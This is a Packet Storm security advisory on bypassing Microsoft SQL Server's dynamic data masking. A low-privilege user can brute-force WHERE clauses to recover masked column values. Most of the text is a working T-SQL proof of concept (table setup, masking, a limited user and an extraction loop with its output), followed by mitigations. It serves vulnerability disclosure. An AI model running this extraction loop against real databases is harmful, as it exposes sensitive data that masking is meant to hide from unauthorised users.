exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Microsoft SQL Server Masked Data Exposure

Microsoft SQL Server Masked Data Exposure
Posted Sep 17, 2024
Authored by Emad Al-Mousa

Microsoft SQL Server versions 2014, 2016, 2017, 2019, and 2022 suffer from an issue where masked data can be exposed through a brute force attack.

tags | exploit, cracker
SHA-256 | b0624723532f370b9f34af37f303e61f5b293ddd86ebcbb2599460d727a10878

Microsoft SQL Server Masked Data Exposure

Change Mirror Download
Title: SQL Server Masked Data Exposure Through Brute Force Attack
Product: Database
Manufacturer: Microsoft
Affected Version(s): SQL Server 2014, 2016,2017,2019,2022
Tested Version(s): SQL Server 2014, 2016,2017,2019,2022
Risk Level: Low
Security Feature: Dynamic Data Masking
Author of Advisory: Emad Al-Mousa


*****************************************
Vulnerability Details And Back Ground:

Microsoft SQL Server database system has a security feature called "dynamic data masking" , this feature is designed to redact/mask column level values (columns containing sensitive data ….for example credit card number…etc).

The feature is good but has many security weaknesses that organizations/companies should be aware of. Among them is brute force technique against the “where” conditional clause to retrieve actual data values (numeric values).



*****************************************
Proof of Concept (PoC):

I will create database called demodb and create table called dbo.COMPANY and insert dummy data in it:

create database demodb;

USE [demodb]

GO

SET ANSI_NULLS ON

GO

SET QUOTED_IDENTIFIER ON

GO

CREATE TABLE [dbo].[COMPANY](

[COMPANY_NAME] [nvarchar](max) NULL,

[SALES] [int] NULL

) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]

GO

USE [demodb]

GO

INSERT INTO [dbo].[COMPANY]

([COMPANY_NAME]

,[SALES])

VALUES

('COMPANY_C','93')

GO

USE [demodb]

GO

INSERT INTO [dbo].[COMPANY]

([COMPANY_NAME]

,[SALES])

VALUES

('COMPANY_A','11')

GO


USE [demodb]

GO

INSERT INTO [dbo].[COMPANY]

([COMPANY_NAME]

,[SALES])

VALUES

('COMPANY_B','78')

GO

------ I will enable dynamic data masking function against SALES column:

ALTER TABLE dbo.COMPANY

ALTER COLUMN SALES INT MASKED WITH (FUNCTION = 'default()');

------ Then, will create a user called reg_user that can only query the table, so the user will only see SALES column with complete masked data [ZERO values]:

USE [demodb]

GO

CREATE USER reg_user WITHOUT LOGIN;

GRANT SELECT ON dbo.COMPANY to reg_user;

EXECUTE AS USER = 'reg_user';

SELECT * FROM dbo.COMPANY;

REVERT;



------ However, using the same non-privileged database account reg_user …I will be able to extract Actual Values :


EXECUTE AS USER = 'reg_user';

DECLARE @sales_txt nvarchar(max);

DECLARE @LCounter INT= 1;

WHILE (@LCounter < 99)

BEGIN

SET @sales_txt=(SELECT COMPANY_NAME+' sales is ' +CAST (@LCounter as nvarchar)

FROM dbo.COMPANY

WHERE SALES=@LCounter)

print @sales_txt

SET @LCounter = @LCounter + 1

END

REVERT;


Output:

COMPANY_A sales is 11

COMPANY_B sales is 78

COMPANY_C sales is 93



------ Actual values were successfully extracted from the masked column !


*****************************************

Protection Mechanisms:

1. Ensure network firewall rules are in-place to ensure database accounts can be connected to the destination database server host from specific list of source hosts. This will add good
security protection layer especially if database account credentials were exposed.

2. Implement Security Auditing against identified sensitive tables.

3. Implement other security features along dynamic data masking such as encryption. of course Always Encrypted feature is the best in terms of data protection.


*****************************************
References:
https://learn.microsoft.com/en-us/sql/relational-databases/security/dynamic-data-masking?view=sql-server-ver16
https://databasesecurityninja.wordpress.com/2023/08/08/hacking-sql-server-dynamic-data-masking-feature-with-brute-force-technique/
https://www.youtube.com/watch?v=NiAg0sGsGtw





Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    0 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close